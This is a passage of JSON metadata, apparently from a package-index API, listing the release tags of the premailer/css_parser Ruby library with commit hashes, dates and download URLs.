ed5dd1baa1edf267fb","kind":"tag","published_at":"2022-12-29T21:49:06.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.13.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.13.0/manifests"},{"name":"v1.12.0","sha":"c4545cf19f31bb513ef1beda536936cca2d1c319","kind":"tag","published_at":"2022-09-16T00:25:30.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.12.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.12.0/manifests"},{"name":"v1.11.0","sha":"db6960989dacede7ffa653413e0f3ef632974c54","kind":"tag","published_at":"2021-12-14T05:11:23.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.11.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.11.0/manifests"},{"name":"v1.10.0","sha":"a672607635b11df2ad6c39913cebbf7944a2735d","kind":"tag","published_at":"2021-07-27T18:45:01.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.10.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.10.0/manifests"},{"name":"v1.9.0","sha":"dc86d5bb3dd7d6bc5a9245aaddf18c8351cb2825","kind":"tag","published_at":"2021-02-04T16:08:19.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.9.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.9.0/manifests"},{"name":"v1.8.0","sha":"1f942bcbd3007b91d66d17c5081a6993c8547cc7","kind":"tag","published_at":"2021-01-21T19:39:51.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.8.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.8.0/manifests"},{"name":"v1.7.1","sha":"279877086ad2af241299863e8443558118256f5d","kind":"tag","published_at":"2019-12-01T19:30:26.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.7.1","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.7.1/manifests"},{"name":"v1.7.0","sha":"d1d1d608f9c173ef85f50446e2ad2803e6bdbf89","kind":"tag","published_at":"2019-02-11T16:24:46.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.7.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.7.0/manifests"},{"name":"v1.6.0","sha":"fae2326ff51799281542869ca78aa3be59000e76","kind":"tag","published_at":"2017-09-08T19:00:06.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.6.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.6.0/manifests"},{"name":"v1.5.0","sha":"b29fff535f97ad25811cc2f84f2e2625427eb54c","kind":"tag","published_at":"2017-04-19T06:23:40.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.5.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.5.0/manifests"},{"name":"v1.5.0.pre2","sha":"193911da2609e2a1d26b51831ff39cdffe5d801e","kind":"tag","published_at":"2017-03-14T14:57:45.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.5.0.pre2","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.5.0.pre2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.5.0.pre2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.5.0.pre2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.5.0.pre2/manifests"},{"name":"v1.5.0.pre","sha":"8806bed299b5ca3a5106297eb33d9e4489f4fbb7","kind":"tag","published_at":"2017-03-13T07:32:48.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.5.0.pre","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.5.0.pre","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.5.0.pre","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.5.0.pre","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.5.0.pre/manifests"},{"name":"v1.4.10","sha":"25b1144990c2dc695aa8aa4c334bf5387ab35a3c","kind":"tag","published_at":"2017-03-09T10:22:36.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.10","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.10/manifests"},{"name":"v1.4.9","sha":"eedbf177979e54fa54a098735e8ea49fd20f83b9","kind":"tag","published_at":"2017-02-22T08:07:09.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.9","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.9/manifests"},{"name":"v1.4.8","sha":"a06d6203d1dd27f3411829ca6865ccd2a175907c","kind":"tag","published_at":"2017-02-03T08:27:30.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.8","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.8/manifests"},{"name":"v1.4.7","sha":"782c47943b3ac1775e00e5bad17b49cafe3726b2","kind":"tag","published_at":"2016-11-29T16:16:34.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.7","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.7/manifests"},{"name":"v1.4.6","sha":"fbb5f2a75e07c16f8a51b227276f66ecd11e02d3","kind":"tag","published_at":"2016-10-20T15:28:09.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.6","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.6/manifests"},{"name":"v1.4.5","sha":"af6b300f2d248028a490ee7fd250380b192963ab","kind":"tag","published_at":"2016-06-28T08:16:00.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.5","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.5/manifests"},{"name":"v1.4.4","sha":"274a6035c83addcaca251cd5abb5726ad70b096e","kind":"tag","published_at":"2016-06-27T21:07:49.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.4","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.4/manifests"},{"name":"v1.4.3","sha":"0af7c661741ec0295ad4e1fa2ec2c3d575518310","kind":"tag","published_at":"2016-06-27T20:52:07.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.3","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.3/manifests"},{"name":"v1.4.2","sha":"ca62f7eb3be53ce1b6cb8a6fcaf559dac3916791","kind":"tag","published_at":"2016-06-17T14:19:23.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.2","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.2/manifests"},{"name":"v1.4.1","sha":"0f2ccfb9fda34d4315ae196f6baeb88b41ac9f58","kind":"tag","published_at":"2016-03-21T19:42:57.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.1","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.1/manifests"},{"name":"v1.4.0","sha":"485d8fb743ee50f6a0aa08aa861cdab1fbbc2268","kind":"tag","published_at":"2016-03-16T21:23:47.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.0/manifests"},{"name":"v1.3.7","sha":"cc217b1aad708de7b43ea604a775e0592974423f","kind":"tag","published_at":"2015-09-22T16:48:29.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.3.7","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.7/manifests"},{"name":"v1.3.6","sha":"f956f63398a553a3aebb033ccfe9b3ea998cde54","kind":"tag","published_at":"2015-01-29T08:55:48.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.3.6","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.6/manifests"},{"name":"v1.3.5","sha":"51d0100ecebbe6331e3dbe8ae790aaa488369f2f","kind":"tag","published_at":"2013-08-24T12:44:29.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.3.5","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.5/manifests"},{"name":"v1.3.4","sha":"3e5a3454bbe7a62b1931f406bf61ca81bff289fc","kind":"tag","published_at":"2013-03-13T14:13:06.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.3.4","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.4/manifests"},{"name":"v1.3.3","sha":"50b6ab748d7661e8820860f3c4b5d3e9b9540b85","kind":"tag","published_at":"2013-03-13T06:34:10.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.3.3","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.3/manifests"},{"name":"v1.3.2","sha":"967e224c598e77cff26f1ec563850a1d3bde6861","kind":"tag","published_at":"2013-03-13T01:24:02.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.3.2","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.2/manifests"},{"name":"v1.3.1","sha":"29d8ec93d8a5a34aa29b52785ab08baed3a5d507","kind":"tag","published_at":"2013-03-13T01:07:05.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.3.1","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"e4952f24940cde0204ad1954eb9c6981791586e9","kind":"tag","published_at":"2013-03-13T00:40:42.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.3.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.0/manifests"},{"name":"1.2.6","sha":"0970ca41e7c2869a2c0a4f253d8c298d4eb6d1b7","kind":"commit","published_at":"2011-09-09T17:58:59.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.2.6","html_url":"https://github.com/premailer/css_parser/releases/tag/1.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.2.6/manifests"},{"name":"1.2.5","sha":"84534d9486f8fd330e0aa133621b3f949e7f6cc7","kind":"commit","published_at":"2011-09-08T21:57:27.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.2.5","html_url":"https://github.com/premailer/css_parser/releases/tag/1.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.2.5/manifests"},{"name":"1.2.3","sha":"8b5c7e0f61ae3e8803637a08e8bdab6a0fe0aac5","kind":"commit","published_at":"2011-09-08T04:59:04.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.2.3","html_url":"https://github.com/premailer/css_parser/releases/tag/1.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.2.3/manifests"},{"name":"1.2.2","sha":"3e4c325e958446881a26029333fad830cd23f144","kind":"commit","published_at":"2011-09-07T19:07:27.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.2.2","html_url":"https://github.com/premailer/css_parser/releases/tag/1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.2.2/manifests"},{"name":"1.2.1","sha":"84346862ea1eeb0a77379b871484b8e58209791a","kind":"commit","published_at":"2011-09-07T16:25:59.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.2.1","html_url":"https://github.com/premailer/css_parser/releases/tag/1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.2.1/manifests"},{"name":"1.1.9","sha":"575b2f39cdba8c976c57d2450b8a9556d537c9ca","kind":"commit","published_at":"2011-04-01T21:58:00.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.1.9","html_url":"https://github.com/premailer/css_parser/releases/tag/1.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.9/manifests"},{"name":"1.1.8","sha":"2bd8090ea25036486adf806678e8bafa1290cf3c","kind":"commit","published_at":"2011-03-30T04:32:09.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.1.8","html_url":"https://github.com/premailer/css_parser/releases/tag/1.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.8/manifests"},{"name":"1.1.7","sha":"11a459fc06d900deec698675a40b98f567856017","kind":"commit","published_at":"2011-03-29T21:22:16.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.1.7","html_url":"https://github.com/premailer/css_parser/releases/tag/1.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.7/manifests"},{"name":"1.1.6","sha":"7603ce4d17d708deb54cf8bd98ad2b03442a6a5d","kind":"commit","published_at":"2011-03-26T04:56:26.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.1.6","html_url":"https://github.com/premailer/css_parser/releases/tag/1.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.6/manifests"},{"name":"1.1.5","sha":"844f2eb3948d5df6c1d73876a4bc13645d1d69e2","kind":"commit","published_at":"2011-01-21T17:47:12.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.1.5","html_url":"https://github.com/premailer/css_parser/releases/tag/1.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.5/manifests"},{"name":"1.1.4","sha":"8ad6893c77ef6af7546df2ddc4082104ce77fa21","kind":"commit","published_at":"2010-11-11T19:03:18.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.1.4","html_url":"https://github.com/premailer/css_parser/releases/tag/1.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.4/manifests"},{"name":"1.1.3","sha":"3e0af4f067fe9ca2271c3d564f88c1089876c40f","kind":"commit","published_at":"2010-11-03T23:40:10.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.1.3","html_url":"https://github.com/premailer/css_parser/releases/tag/1.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.3/manifests"},{"name":"1.1.2","sha":"2ea81048d1d9d9ee54547b0fb834b49e20329e04","kind":"commit","published_at":"2010-10-28T22:49:28.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.1.2","html_url":"https://github.com/premailer/css_parser/releases/tag/1.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.2/manifests"},{"name":"1.1.1","sha":"0d29d846c112b6c85a779c09ce3dab5e762de322","kind":"commit","published_at":"2010-10-26T21:03:08.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.1.1","html_url":"https://github.com/premailer/css_parser/releases/tag/1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.1/manifests"},{"name":"1.0.1","sha":"795220e824f1e2f57287a429f53988c635ab52a8","kind":"tag","published_at":"2010-02-21T19:07:49.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.0.1","html_url":"https://github.com/premailer/css_parser/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"876aa6c091af34e9828ad7eed5e9f6a91d038397","kind":"tag","published_at":"2009-12-22T00:22:53.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.0.0","html_url":"https://github.com/premailer/css_parser/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/t